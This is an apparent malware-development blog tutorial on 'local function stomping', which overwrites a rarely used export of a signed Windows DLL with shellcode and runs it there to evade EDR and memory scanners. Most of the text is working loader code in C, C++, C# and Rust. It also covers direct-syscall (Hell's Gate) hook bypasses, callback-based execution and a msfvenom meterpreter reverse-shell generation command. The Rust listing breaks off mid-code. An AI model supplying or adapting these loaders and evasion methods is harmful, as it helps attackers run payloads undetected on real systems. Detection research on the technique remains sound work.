ᛉ Yggdrasil

Malware development

Local Function Stomping Injection

18 Sep 2026 · 7,461 words · 34 min

Contents

Legend: [TECHNIQUE] = Core technique | [OPSEC] = Operational Security note | [DETECT] = Detection vector | [EVASION] = Bypass technique | [TOOL] = Tool reference | [COMPARE] = Comparison note


1. What Is Function Stomping?

What it means: Function Stomping is a shellcode injection technique where the bytes of a legitimate exported function (from a loaded DLL) are overwritten in-place with your shellcode. Instead of allocating new RWX memory with VirtualAlloc, you repurpose an already-existing memory region that belongs to a signed, legitimate Windows DLL. Execution is then triggered by calling or redirecting to that function.

Classic Injection:                       Function Stomping:
──────────────────                       ─────────────────
VirtualAlloc(RWX)                        LoadLibraryA("ieframe.dll")
   └─ New anonymous RWX blob               └─ Signed DLL loaded into process
WriteProcessMemory/memcpy                GetProcAddress("IECreateFile")
   └─ Shellcode copied in                  └─ Get address of rarely-used function
CreateThread(shellcode_addr)             VirtualProtect(addr, RW)
   └─ Suspicious: anonymous thread         └─ Change protection on EXISTING region
   └─ EDR: RWX alloc + anon thread!      memcpy(addr, shellcode)
                                         VirtualProtect(addr, RWX)
                                         CreateThread(addr)
                                            └─ Thread associated with legit DLL!
                                            └─ EDR: thread in a signed module

Core principle: The shellcode lives inside a legitimate, disk-backed, signed DLL's memory — not in an anonymous heap blob. Memory scanners that flag unbacked/anonymous RWX regions are bypassed because the memory region is associated with a real DLL on disk.

MITRE ATT&CK:

  • Technique: T1055 — Process Injection
  • Sub-technique: Closest to T1055.001 (Dynamic-link Library Injection) / overlaps with T1055.012 (Process Hollowing)
  • Tactic: Defense Evasion, Privilege Escalation

2. Why Local Function Stomping?

The problem with classic injection:

Classic VirtualAlloc + CreateThread flow (detected by every modern EDR):
  ├─ VirtualAlloc(PAGE_EXECUTE_READWRITE)   → Kernel callback fires
  ├─ memcpy(mem, shellcode)                 → WriteVM event logged
  ├─ CreateThread(shellcode_addr)           → Thread from anonymous region
  └─ EDR sees: RWX alloc → write → thread from non-module memory = ALERT 🚨

Why Function Stomping avoids this:

Problem with Classic Function Stomping Solution
New RWX anonymous memory allocation Reuse existing signed DLL memory
Thread starts at anonymous address Thread starts at legit function address
VAD (Virtual Address Descriptor) shows "Private" region VAD shows "Mapped Image" (legit DLL)
Memory scanner flags unbacked RWX pages Memory is "backed" by DLL on disk
Easy to detect with malfind/PE-sieve Harder — memory appears legitimate

Why LOCAL specifically:

Local function stomping operates entirely within your own process — no OpenProcess, no VirtualAllocEx, no cross-process APIs. This eliminates an entire category of inter-process injection IOCs that EDRs monitor aggressively.

Remote injection IOCs (all absent in local stomping):
  ❌ OpenProcess(PROCESS_VM_WRITE | PROCESS_VM_OPERATION)
  ❌ VirtualAllocEx()
  ❌ WriteProcessMemory()
  ❌ CreateRemoteThread()

3. How It Works — Step by Step

Step 1: Load a sacrificial DLL
──────────────────────────────
  LoadLibraryA("ieframe.dll")
  └─ DLL is mapped into process memory
  └─ .text section: READ + EXECUTE (default)
  └─ Contains many exported functions

Step 2: Locate a target function (the "victim function")
────────────────────────────────────────────────────────
  GetProcAddress(hModule, "IECreateFile")
  └─ Returns pointer to function bytes in .text
  └─ This is where our shellcode will live

Step 3: Change memory protection to READWRITE
──────────────────────────────────────────────
  VirtualProtect(addr, sizeof(shellcode), PAGE_READWRITE, &old)
  └─ Memory was R+X → now R+W (not yet executable)
  └─ This is the most suspicious API call (monitored by EDR)

Step 4: Overwrite function bytes with shellcode
────────────────────────────────────────────────
  memcpy(addr, shellcode, sizeof(shellcode))
  └─ Original function bytes are gone — stomped!
  └─ Shellcode now occupies function's memory

Step 5: Change protection back to EXECUTE
──────────────────────────────────────────
  VirtualProtect(addr, sizeof(shellcode), PAGE_EXECUTE_READWRITE, &old)
  └─ Or PAGE_EXECUTE_READ for less noise

Step 6: Execute the shellcode
──────────────────────────────
  CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)addr, NULL, 0, NULL)
  └─ OR cast to function pointer and call directly
  └─ Thread appears to be running inside legitimate DLL
  WaitForSingleObject(th, INFINITE)

Memory layout (before vs after):

BEFORE stomping (ieframe.dll!IECreateFile in memory):
  0x7FFA1234ABCD:  48 89 5C 24 08   mov [rsp+8], rbx
  0x7FFA1234ABD2:  48 89 74 24 10   mov [rsp+10], rsi
  0x7FFA1234ABD7:  57               push rdi
  0x7FFA1234ABD8:  48 83 EC 20      sub rsp, 20h
  ...

AFTER stomping (shellcode written over function):
  0x7FFA1234ABCD:  FC 48 81 E4 F0   cld / and rsp...   ← shellcode bytes
  0x7FFA1234ABD2:  FF FF FF E8 D0   ...
  0x7FFA1234ABD7:  00 00 00 41      ...
  0x7FFA1234ABD8:  51 41 50 52 51   ...
  ...
  Function address SAME. Contents: STOMPED.

4. Function Stomping vs Module Stomping vs Classic Injection

[COMPARE] Understanding the full family of stomping techniques:

4.1 Classic Injection (Baseline)

Classic Injection:
  ├─ API: VirtualAlloc → memcpy → CreateThread
  ├─ Memory type: Anonymous private RWX allocation
  ├─ Thread: Starts in anonymous (non-module) memory
  ├─ EDR noise: 🔴 VERY HIGH — detected by every modern EDR
  └─ Status: Non-viable on monitored endpoints

4.2 Module Stomping (DLL Hollowing)

Module Stomping:
  ├─ API: LoadLibraryA → WriteProcessMemory/memcpy → CreateThread
  ├─ Target: Overwrites ENTIRE .text section of a loaded DLL
  ├─ Memory type: Backed by legitimate DLL → appears normal
  ├─ IOC: Entire DLL's .text section content doesn't match on-disk version
  ├─ Advantage: Thread runs inside a legitimate, signed DLL
  ├─ Disadvantage: Entire module is corrupted — DLL can't serve other functions
  ├─ Disadvantage: Still requires LoadLibraryA (detectable call)
  └─ EDR noise: 🟢 LOW — memory forensics can detect mismatch with disk

4.3 Function Stomping (Local)

Local Function Stomping:
  ├─ API: LoadLibraryA → GetProcAddress → VirtualProtect → memcpy → CreateThread
  ├─ Target: Overwrites ONLY ONE FUNCTION's bytes inside a loaded DLL
  ├─ Memory type: Backed by legitimate DLL → thread associated with legit module
  ├─ Advantage: Module still functions — other exports work normally
  ├─ Advantage: Smaller footprint — only one function is "wrong"
  ├─ Advantage: No cross-process APIs needed (local only)
  ├─ Disadvantage: VirtualProtect on a mapped section is monitored
  ├─ Disadvantage: Shellcode must fit inside function's byte count
  └─ EDR noise: 🟢 LOW — originally bypassed hollows-hunter (2022)

4.4 Quick Comparison Table

Property Classic Inject Module Stomping Local Func Stomping
New memory alloc Yes (VirtualAlloc) No No
Affects entire DLL N/A Yes No — 1 function only
Cross-process APIs Yes (remote) Optional No (local only)
DLL stays functional N/A No Yes
Thread origin Anonymous Legit DLL Legit DLL
VAD type Private MappedImage MappedImage
Disk-memory mismatch N/A Whole .text One function
hollows-hunter Detected Often detected Originally bypassed
EDR noise level 🔴 Very High 🟢 Low 🟢 Low

5. Target Function Selection

Choosing the right function to stomp is critical. Wrong choice = process crash or uncontrolled execution.

5.1 The Rules

Rule 1 — Shellcode must FIT inside the function:
  Shellcode size must be ≤ function's byte count in .text section.
  If your shellcode is 300 bytes but the function is 20 bytes → overflow → crash.

  Solution: Pick functions known to be large, OR check function size programmatically.

Rule 2 — Function must NOT be actively called:
  If the function is called by the OS or other threads while you're writing → crash.

  ✅ SAFE targets: Rarely-used/legacy functions in non-core DLLs
  ❌ AVOID: ntdll.dll exports (OS calls them constantly)
  ❌ AVOID: kernel32.dll / kernelbase.dll (high-frequency internal calls)
  ❌ AVOID: Any function your own loader calls during execution

Rule 3 — DLL must be loadable (not security-sensitive):
  Some DLLs load hooks or have integrity checks on their .text.
  ✅ SAFE: ieframe.dll, winmm.dll, wininet.dll, user32.dll (rarely-used exports)
  ⚠️  CAUTION: ntdll.dll, amsi.dll (hooks present from EDR/AMSI)

5.2 Good Target DLLs and Functions

ieframe.dll — Internet Explorer frame (deprecated, rarely used):
  Functions: IECreateFile, IEIsProtectedModeProcess, IELaunchURL
  Why: Legacy IE DLL, functions infrequently called, large enough

winmm.dll — Windows Multimedia:
  Functions: PlaySound, mciSendString, waveOutGetNumDevs
  Why: Multimedia calls unlikely in most processes

wininet.dll — Windows Internet API:
  Functions: DeleteUrlCacheGroup, FindCloseUrlCache, InternetGoOnline
  Why: Large DLL, many rarely-called exports

user32.dll — User Interface:
  Functions: CallMsgFilterA, SetDebugErrorLevel, GetDesktopWindow
  Why: Many infrequently-called legacy exports

shell32.dll — Shell API:
  Functions: SHGetMalloc, RealGetWindowClassA (for larger payloads)
  Why: Legacy Shell functions, rarely called at runtime

5.3 Programmatic Function Size Check (Python — Pre-Attack Recon)

#!/usr/bin/env python3
# function_size_check.py — Check if a function is large enough for your shellcode
# Uses pefile to parse DLL and estimate function sizes via export table
# pip install pefile

import pefile
import sys

def get_export_functions(dll_path: str) -> list:
    """Get all exported functions with their virtual addresses."""
    pe = pefile.PE(dll_path)
    functions = []

    if hasattr(pe, 'DIRECTORY_ENTRY_EXPORT'):
        exports = pe.DIRECTORY_ENTRY_EXPORT.symbols
        # Sort by address to estimate size from gap to next function
        sorted_exports = sorted(
            [(e.address, e.name.decode() if e.name else f"ordinal_{e.ordinal}")
             for e in exports if e.address],
            key=lambda x: x[0]
        )

        for i, (addr, name) in enumerate(sorted_exports):
            if i + 1 < len(sorted_exports):
                next_addr = sorted_exports[i + 1][0]
                size = next_addr - addr
            else:
                size = 256  # Last function — estimate
            functions.append((name, addr, size))

    return functions

def find_suitable_function(dll_path: str, shellcode_size: int):
    """Find functions large enough to hold shellcode."""
    functions = get_export_functions(dll_path)

    print(f"[*] Scanning {dll_path}")
    print(f"[*] Shellcode size: {shellcode_size} bytes")
    print(f"[*] Total exports: {len(functions)}")
    print()
    print(f"{'Function':<50} {'VA':<12} {'Est. Size':<12} {'Fits?'}")
    print("-" * 80)

    suitable = []
    for name, addr, size in functions:
        fits = size >= shellcode_size
        status = "✅ YES" if fits else "❌ NO "
        print(f"{name:<50} {addr:#010x}   {size:<12} {status}")
        if fits:
            suitable.append((name, addr, size))

    print(f"\n[+] {len(suitable)} functions large enough for {shellcode_size}-byte shellcode")
    if suitable:
        print("\n[*] Recommended targets (largest first):")
        for name, addr, size in sorted(suitable, key=lambda x: -x[2])[:5]:
            print(f"    {name}: ~{size} bytes")

# Usage:
shellcode_size = 300  # Size of your shellcode in bytes
find_suitable_function("C:\\Windows\\System32\\ieframe.dll", shellcode_size)

6. Core Implementation — C (Local Process)

6.1 Minimal Local Function Stomping (C — ieframe.dll/IECreateFile)

/*
 * local_func_stomp.c
 * Local Function Stomping Injection
 * Target: ieframe.dll!IECreateFile (large, rarely called, legacy IE)
 * Technique: Load DLL → GetProcAddress → VirtualProtect → memcpy → CreateThread
 *
 * Compile (MinGW):
 *   x86_64-w64-mingw32-gcc -O2 local_func_stomp.c -o stomp.exe \
 *     -s -ffunction-sections -fdata-sections \
 *     -fno-exceptions -fmerge-all-constants \
 *     -static-libstdc++ -static-libgcc
 *
 * Compile (MSVC):
 *   cl.exe local_func_stomp.c /Fe:stomp.exe /link
 */

#include <windows.h>
#include <stdio.h>

// ─── Replace with your shellcode ─────────────────────────────────────────────
// Generate: msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=... LPORT=... -f c
// Or use a custom payload. Example below is a meow-meow messagebox (x64)
unsigned char shellcode[] = {
    0xfc,0x48,0x81,0xe4,0xf0,0xff,0xff,0xff,0xe8,0xd0,0x00,0x00,0x00,0x41,0x51,0x41,
    0x50,0x52,0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x3e,0x48,0x8b,0x52,
    0x18,0x3e,0x48,0x8b,0x52,0x20,0x3e,0x48,0x8b,0x72,0x50,0x3e,0x48,0x0f,0xb7,0x4a,
    // ... rest of shellcode ...
};
unsigned int shellcode_len = sizeof(shellcode);
// ─────────────────────────────────────────────────────────────────────────────

int main() {
    PVOID  addr   = NULL;   // Address of target function (stomped)
    HMODULE h     = NULL;   // Handle to loaded DLL
    HANDLE  th    = NULL;   // Thread handle
    DWORD   old   = 0;      // Old page protection

    // ── Step 1: Load the sacrificial DLL ─────────────────────────────────────
    h = LoadLibraryA("ieframe.dll");
    if (h == NULL) {
        printf("[-] LoadLibraryA failed: %lu\n", GetLastError());
        return 1;
    }
    printf("[+] Loaded ieframe.dll at 0x%p\n", h);

    // ── Step 2: Resolve target function address ───────────────────────────────
    // IECreateFile: large, rarely called, legacy IE function
    addr = (PVOID)GetProcAddress(h, "IECreateFile");
    if (addr == NULL) {
        printf("[-] GetProcAddress failed: %lu\n", GetLastError());
        FreeLibrary(h);
        return 1;
    }
    printf("[+] IECreateFile address: 0x%p\n", addr);

    // ── Step 3: Make region READWRITE (remove execute temporarily) ───────────
    // PAGE_READWRITE: allows memcpy to write shellcode bytes
    // Don't go straight to RWX — some EDRs flag RWX on mapped images
    if (!VirtualProtect(addr, shellcode_len, PAGE_READWRITE, &old)) {
        printf("[-] VirtualProtect (RW) failed: %lu\n", GetLastError());
        FreeLibrary(h);
        return 1;
    }
    printf("[+] Memory protection changed to RW\n");

    // ── Step 4: STOMP — overwrite function bytes with shellcode ──────────────
    memcpy(addr, shellcode, shellcode_len);
    printf("[+] Shellcode written to function address\n");

    // ── Step 5: Restore execute permissions (RWX or RX) ──────────────────────
    // PAGE_EXECUTE_READ (RX) is cleaner — shellcode usually doesn't need write
    // PAGE_EXECUTE_READWRITE if shellcode modifies itself at runtime
    if (!VirtualProtect(addr, shellcode_len, PAGE_EXECUTE_READWRITE, &old)) {
        printf("[-] VirtualProtect (RWX) failed: %lu\n", GetLastError());
        FreeLibrary(h);
        return 1;
    }
    printf("[+] Memory protection changed to RWX\n");

    // ── Step 6: Execute ───────────────────────────────────────────────────────
    // Option A: CreateThread (thread appears to be in ieframe.dll)
    th = CreateThread(
        NULL,                              // Security attrs
        0,                                 // Default stack size
        (LPTHREAD_START_ROUTINE)addr,      // shellcode address (stomped func)
        NULL,                              // No parameter
        0,                                 // Run immediately
        NULL                               // Don't need thread ID
    );

    if (th == NULL) {
        printf("[-] CreateThread failed: %lu\n", GetLastError());
        FreeLibrary(h);
        return 1;
    }

    printf("[+] Thread created, waiting...\n");
    WaitForSingleObject(th, INFINITE);
    CloseHandle(th);

    return 0;
}

6.2 Alternative Execution — Direct Function Call (No CreateThread)

// After stomping, cast function pointer and call directly
// Avoids CreateThread (another monitored API)

#include <windows.h>

typedef void (*func_t)();  // Shellcode function type (void, no args)

// ... after VirtualProtect RWX step ...

// Cast function address to callable pointer
func_t stomped_func = (func_t)addr;
stomped_func();  // Call it — executes shellcode in current thread stack

// NOTE: Shellcode must not return in a way that crashes (add WaitForSingleObject
// or use a shellcode that properly handles its own thread lifecycle)

6.3 Execution via Callback (No direct call, no CreateThread)

// Trigger execution via EnumSystemLocalesA callback
// EnumSystemLocalesA calls your function for each locale — shellcode runs on first call

// ... after VirtualProtect + memcpy + VirtualProtect ...

// Cast the stomped address to LOCALE_ENUMPROCA callback type
// When EnumSystemLocalesA calls it, shellcode executes
EnumSystemLocalesA((LOCALE_ENUMPROCA)addr, LCID_INSTALLED);

// Other callback-based execution (all avoid CreateThread):
// EnumChildWindows(NULL, (WNDENUMPROC)addr, 0);
// EnumWindows((WNDENUMPROC)addr, 0);
// SetTimer(NULL, 0, 100, (TIMERPROC)addr);

7. Advanced Variant — Syscall-Based (NtProtectVirtualMemory)

[OPSEC] Using direct syscalls avoids user-mode API hooks placed by EDR on VirtualProtect. This is the stealthier approach.

7.1 Why Syscalls?

VirtualProtect → kernel32.dll → calls NtProtectVirtualMemory in ntdll.dll
                                        ↑
                          EDR hooks this via inline hook / IAT hook
                          EDR sees: RWX permissions on mapped section → ALERT

Solution: Call NtProtectVirtualMemory DIRECTLY via syscall instruction
          Skip the hooked user-mode code entirely
          EDR hook never fires → permission change unobserved

7.2 Manual Syscall (x64 NASM / Inline ASM — Hell's Gate Approach)

/*
 * syscall_stomp.c — Function stomping using direct syscalls
 * Avoids EDR hooks on VirtualProtect in ntdll.dll
 *
 * Step 1: Find SSN (System Service Number) for NtProtectVirtualMemory
 * Step 2: Call via inline assembly (syscall instruction)
 */

#include <windows.h>
#include <winternl.h>
#include <stdio.h>

// ─── NT syscall wrapper ──────────────────────────────────────────────────────
// NtProtectVirtualMemory signature
typedef NTSTATUS(NTAPI* _NtProtectVirtualMemory)(
    HANDLE  ProcessHandle,
    PVOID*  BaseAddress,
    PSIZE_T RegionSize,
    ULONG   NewProtect,
    PULONG  OldProtect
);

// ─── Hell's Gate / Halo's Gate: Get SSN from ntdll ─────────────────────────
WORD get_syscall_number(LPCSTR func_name) {
    HMODULE ntdll = GetModuleHandleA("ntdll.dll");
    if (!ntdll) return 0;

    PBYTE func = (PBYTE)GetProcAddress(ntdll, func_name);
    if (!func) return 0;

    // x64 syscall stub: mov r10, rcx / mov eax, <SSN> / syscall / ret
    // Pattern: 4C 8B D1 B8 xx xx 00 00 0F 05 C3
    // At offset 4: mov eax, <SSN> → 2-byte SSN at offset 4+1
    for (int i = 0; i < 32; i++) {
        // Check for syscall stub pattern: "mov eax, SSN"
        if (func[i] == 0xB8) {          // mov eax, ...
            WORD ssn = *(WORD*)(func + i + 1);
            return ssn;
        }
        // Handle JMP (hook) — Halo's Gate: look at nearby functions
        if (func[i] == 0xE9) {          // jmp (hook detected!)
            // Find nearby unhooked function and infer SSN ± 1
            // (Advanced — see Halo's Gate technique)
            break;
        }
    }
    return 0;
}

// ─── Raw syscall trampoline (x64 assembly) ───────────────────────────────────
// This is a minimal syscall stub — sets EAX to SSN, executes syscall instruction
NTSTATUS syscall_NtProtect(WORD ssn, HANDLE hProcess, PVOID* addr,
                             SIZE_T* size, ULONG newProt, ULONG* oldProt) {
    NTSTATUS status;
    __asm__ volatile (
        "mov r10, rcx\n\t"          // First arg → r10 (syscall calling conv)
        "movw ax, %[ssn]\n\t"       // SSN → eax
        "syscall\n\t"               // Invoke syscall
        "mov %[ret], eax\n\t"       // Capture NTSTATUS return
        : [ret] "=r" (status)
        : [ssn] "r" (ssn)
        : "rax", "r10", "memory"
    );
    return status;
}

int main() {
    // ── Get SSN for NtProtectVirtualMemory ────────────────────────────────────
    WORD ssn_prot = get_syscall_number("NtProtectVirtualMemory");
    if (!ssn_prot) {
        printf("[-] Failed to resolve NtProtectVirtualMemory SSN\n");
        return 1;
    }
    printf("[+] NtProtectVirtualMemory SSN: 0x%04x\n", ssn_prot);

    // ── Load DLL and resolve function ─────────────────────────────────────────
    HMODULE h = LoadLibraryA("ieframe.dll");
    PVOID addr = (PVOID)GetProcAddress(h, "IECreateFile");

    // ── Syscall to change protection (bypasses EDR hook) ─────────────────────
    ULONG old_prot = 0;
    SIZE_T region_size = sizeof(shellcode);

    // Change to RW via direct syscall — EDR hook on VirtualProtect bypassed!
    NTSTATUS status = syscall_NtProtect(
        ssn_prot,
        GetCurrentProcess(),   // -1 (pseudo-handle)
        &addr,
        &region_size,
        PAGE_READWRITE,
        &old_prot
    );

    if (status != 0) {
        printf("[-] NtProtectVirtualMemory (RW) failed: 0x%08X\n", status);
        return 1;
    }

    // ── Write shellcode ───────────────────────────────────────────────────────
    memcpy(addr, shellcode, sizeof(shellcode));

    // ── Change to RX via syscall ───────────────────────────────────────────────
    region_size = sizeof(shellcode);
    syscall_NtProtect(ssn_prot, GetCurrentProcess(), &addr,
                       &region_size, PAGE_EXECUTE_READ, &old_prot);

    // ── Execute ───────────────────────────────────────────────────────────────
    HANDLE th = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)addr, NULL, 0, NULL);
    WaitForSingleObject(th, INFINITE);

    return 0;
}

7.3 Using SysWhispers3 for Cleaner Syscalls

# [TOOL] SysWhispers3 — auto-generate syscall stubs
# GitHub: https://github.com/klezVirus/SysWhispers3

# Install
git clone https://github.com/klezVirus/SysWhispers3
cd SysWhispers3
pip3 install .

# Generate stubs for NtProtectVirtualMemory
python3 syswhispers.py \
    --functions NtProtectVirtualMemory,NtCreateThreadEx,NtWriteVirtualMemory \
    --out-file syscalls \
    --method jumper         # Egg-hunting jump technique (OPSEC)
# --method embedded       # Embedded trampoline
# --method jumper-randomized  # Randomized jump order

# Output: syscalls.h + syscalls.c + syscallsstubs.asm
# Include in your project:
#include "syscalls.h"

# Usage in code after including:
NtProtectVirtualMemory(GetCurrentProcess(), &addr, &region_size,
                        PAGE_READWRITE, &old_prot);

8. C++ Header-Based Implementation (Idov31 Style)

[TECHNIQUE] The original FunctionStomping technique by Idov31 — works for both local and remote process injection. The local variant stomps a function in the current process without requiring a target PID.

8.1 functionstomping.hpp (Condensed Local Version)

/*
 * functionstomping.hpp — Local function stomping in C++
 * Inspired by: https://github.com/Idov31/FunctionStomping
 * Blog: https://idov31.github.io/2022-01-28-function-stomping/
 *
 * Usage:
 *   #include "functionstomping.hpp"
 *   int main() { LocalFunctionStomp(); }
 */

#pragma once
#include <windows.h>
#include <tlhelp32.h>
#include <string>
#include <vector>
#include <stdexcept>

// ─── Configuration ─────────────────────────────────────────────────────────
// Replace with your shellcode
const char shellcode[] = "\xfc\x48\x81\xe4..."; // ... shellcode bytes
const SIZE_T shellcode_size = sizeof(shellcode) - 1;

// DLL to load as sacrificial module + function to stomp
const std::string TARGET_DLL      = "ieframe.dll";
const std::string TARGET_FUNCTION = "IECreateFile";

// ─── PE helper: get function size from export table ─────────────────────────
SIZE_T GetFunctionSize(HMODULE hModule, const std::string& funcName) {
    // Parse PE to find function + next function address gap
    PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)hModule;
    PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)(
        (BYTE*)hModule + dosHeader->e_lfanew);

    DWORD exportRVA = ntHeaders->OptionalHeader
        .DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;

    PIMAGE_EXPORT_DIRECTORY exportDir = (PIMAGE_EXPORT_DIRECTORY)(
        (BYTE*)hModule + exportRVA);

    DWORD* names     = (DWORD*)((BYTE*)hModule + exportDir->AddressOfNames);
    WORD*  ordinals  = (WORD*) ((BYTE*)hModule + exportDir->AddressOfNameOrdinals);
    DWORD* functions = (DWORD*)((BYTE*)hModule + exportDir->AddressOfFunctions);

    DWORD targetRVA = 0;
    for (DWORD i = 0; i < exportDir->NumberOfNames; i++) {
        const char* name = (const char*)((BYTE*)hModule + names[i]);
        if (funcName == name) {
            targetRVA = functions[ordinals[i]];
            break;
        }
    }
    if (!targetRVA) return 0;

    // Find next function's RVA to estimate size
    DWORD nextRVA = MAXDWORD;
    for (DWORD i = 0; i < exportDir->NumberOfFunctions; i++) {
        if (functions[i] > targetRVA && functions[i] < nextRVA)
            nextRVA = functions[i];
    }

    return (nextRVA == MAXDWORD) ? 256 : (nextRVA - targetRVA);
}

// ─── Core stomp function ────────────────────────────────────────────────────
bool LocalFunctionStomp() {
    // Step 1: Load sacrificial DLL
    HMODULE hModule = LoadLibraryA(TARGET_DLL.c_str());
    if (!hModule) {
        OutputDebugStringA("[-] LoadLibraryA failed");
        return false;
    }

    // Step 2: Resolve function address
    PVOID funcAddr = (PVOID)GetProcAddress(hModule, TARGET_FUNCTION.c_str());
    if (!funcAddr) {
        OutputDebugStringA("[-] GetProcAddress failed");
        FreeLibrary(hModule);
        return false;
    }

    // Step 3: Check function is large enough for shellcode
    SIZE_T funcSize = GetFunctionSize(hModule, TARGET_FUNCTION);
    if (funcSize < shellcode_size) {
        // Function too small — shellcode won't fit, pick a larger function
        OutputDebugStringA("[-] Function too small for shellcode");
        FreeLibrary(hModule);
        return false;
    }

    // Step 4: Change protection to RW
    DWORD oldProtect = 0;
    if (!VirtualProtect(funcAddr, shellcode_size, PAGE_READWRITE, &oldProtect)) {
        OutputDebugStringA("[-] VirtualProtect (RW) failed");
        FreeLibrary(hModule);
        return false;
    }

    // Step 5: Overwrite (stomp) the function with shellcode
    RtlCopyMemory(funcAddr, shellcode, shellcode_size);

    // Step 6: Restore executable permissions
    if (!VirtualProtect(funcAddr, shellcode_size, PAGE_EXECUTE_READ, &oldProtect)) {
        OutputDebugStringA("[-] VirtualProtect (RX) failed");
        FreeLibrary(hModule);
        return false;
    }

    // Step 7: Execute shellcode via the stomped function
    HANDLE hThread = CreateThread(
        NULL, 0,
        (LPTHREAD_START_ROUTINE)funcAddr,
        NULL, 0, NULL
    );

    if (!hThread) {
        OutputDebugStringA("[-] CreateThread failed");
        FreeLibrary(hModule);
        return false;
    }

    WaitForSingleObject(hThread, INFINITE);
    CloseHandle(hThread);

    return true;
}

// ─── Usage ────────────────────────────────────────────────────────────────────
// #include "functionstomping.hpp"
// int main() {
//     if (!LocalFunctionStomp()) { /* handle error */ }
//     return 0;
// }

9. C# / .NET Implementation

/*
 * FunctionStomp.cs — Local Function Stomping in C#
 * Inspired by RastaMouse's C# module stomping blog post
 * Blog: https://offensivedefence.co.uk/posts/module-stomping/
 *
 * Compile: csc.exe /unsafe FunctionStomp.cs
 * Or: dotnet build
 */

using System;
using System.Runtime.InteropServices;

class FunctionStomp
{
    // ─── Win32 P/Invoke declarations ─────────────────────────────────────────
    [DllImport("kernel32.dll", SetLastError = true)]
    static extern IntPtr LoadLibraryA(string lpLibFileName);

    [DllImport("kernel32.dll", SetLastError = true)]
    static extern IntPtr GetProcAddress(IntPtr hModule, string lpProcName);

    [DllImport("kernel32.dll", SetLastError = true)]
    static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize,
        uint flNewProtect, out uint lpflOldProtect);

    [DllImport("kernel32.dll", SetLastError = true)]
    static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize,
        IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, out uint lpThreadId);

    [DllImport("kernel32.dll", SetLastError = true)]
    static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);

    // Memory protection constants
    const uint PAGE_READWRITE          = 0x04;
    const uint PAGE_EXECUTE_READ       = 0x20;
    const uint PAGE_EXECUTE_READWRITE  = 0x40;

    // ─── Shellcode (x64 reverse shell or custom payload) ─────────────────────
    static byte[] shellcode = new byte[] {
        0xfc, 0x48, 0x81, 0xe4, 0xf0, 0xff, 0xff, 0xff,
        // ... rest of shellcode bytes ...
    };

    static void Main(string[] args)
    {
        Console.WriteLine("[*] Local Function Stomping — C# PoC");

        // Step 1: Load sacrificial DLL
        IntPtr hModule = LoadLibraryA("ieframe.dll");
        if (hModule == IntPtr.Zero)
        {
            Console.WriteLine($"[-] LoadLibraryA failed: {Marshal.GetLastWin32Error()}");
            return;
        }
        Console.WriteLine($"[+] ieframe.dll loaded at: 0x{hModule:X}");

        // Step 2: Get function address
        IntPtr funcAddr = GetProcAddress(hModule, "IECreateFile");
        if (funcAddr == IntPtr.Zero)
        {
            Console.WriteLine($"[-] GetProcAddress failed: {Marshal.GetLastWin32Error()}");
            return;
        }
        Console.WriteLine($"[+] IECreateFile at: 0x{funcAddr:X}");

        // Step 3: Change protection to RW
        uint oldProtect;
        bool vpResult = VirtualProtect(funcAddr, (UIntPtr)shellcode.Length,
                                        PAGE_READWRITE, out oldProtect);
        if (!vpResult)
        {
            Console.WriteLine($"[-] VirtualProtect (RW) failed: {Marshal.GetLastWin32Error()}");
            return;
        }

        // Step 4: Copy shellcode over function bytes
        Marshal.Copy(shellcode, 0, funcAddr, shellcode.Length);
        Console.WriteLine($"[+] Shellcode written ({shellcode.Length} bytes)");

        // Step 5: Change to PAGE_EXECUTE_READ
        VirtualProtect(funcAddr, (UIntPtr)shellcode.Length,
                        PAGE_EXECUTE_READ, out oldProtect);

        // Step 6: Execute via CreateThread
        uint threadId;
        IntPtr hThread = CreateThread(IntPtr.Zero, 0, funcAddr,
                                        IntPtr.Zero, 0, out threadId);
        if (hThread == IntPtr.Zero)
        {
            Console.WriteLine($"[-] CreateThread failed: {Marshal.GetLastWin32Error()}");
            return;
        }

        Console.WriteLine($"[+] Thread created (ID: {threadId}), waiting...");
        WaitForSingleObject(hThread, 0xFFFFFFFF); // INFINITE
        Console.WriteLine("[+] Done.");
    }
}

10. Rust Implementation

[TECHNIQUE] Rust is increasingly used for offensive tooling — no MSVCRT dependency, clean binary, harder to reverse.

/*
 * local_func_stomp/src/main.rs
 * Local Function Stomping in Rust
 *
 * Cargo.toml dependencies:
 * [dependencies]
 * windows = { version = "0.52", features = [
 *   "Win32_System_LibraryLoader",
 *   "Win32_System_Memory",
 *   "Win32_System_Threading",
 *   "Win32_Foundation",
 * ]}
 */

use windows::{
    core::PCSTR,
    Win32::{
        Foundation::{CloseHandle, BOOL, HANDLE},
        System::{
            LibraryLoader::{FreeLibrary, GetProcAddress, LoadLibraryA},
            Memory::{VirtualProtect, PAGE_EXECUTE_READ, PAGE_PROTECTION_FLAGS, PAGE_READWRITE},
            Threading::{CreateThread, WaitForSingleObject, INFINITE},
        },
    },
};
use std::ptr;

// ─── Shellcode payload ────────────────────────────────────────────────────────
// Replace with your actual shellcode
static SHELLCODE: &[u8] = &[
    0xfc, 0x48, 0x81, 0xe4, 0xf0, 0xff, 0xff, 0xff,
    // ... shellcode bytes ...
];

fn main() {
    println!("[*] Local Function Stomping — Rust");

    unsafe {
        // ── Step 1: Load sacrificial DLL ─────────────────────────────────────
        let dll_name = b"ieframe.dll\0";
        let h_module = match LoadLibraryA(PCSTR(dll_name.as_ptr())) {
            Ok(h) => h,
            Err(e) => {
                eprintln!("[-] LoadLibraryA failed: {}", e);
                return;
            }
        };
        println!("[+] ieframe.dll loaded at: {:?}", h_module);

        // ── Step 2: Resolve target function ──────────────────────────────────
        let func_name = b"IECreateFile\0";
        let func_addr = match GetProcAddress(h_module, PCSTR(func_name.as_ptr())) {
            Some(f) => f as *mut u8,
            None => {
                eprintln!("[-] GetProcAddress failed");
                let _ = FreeLibrary(h_module);
                return;
            }
        };
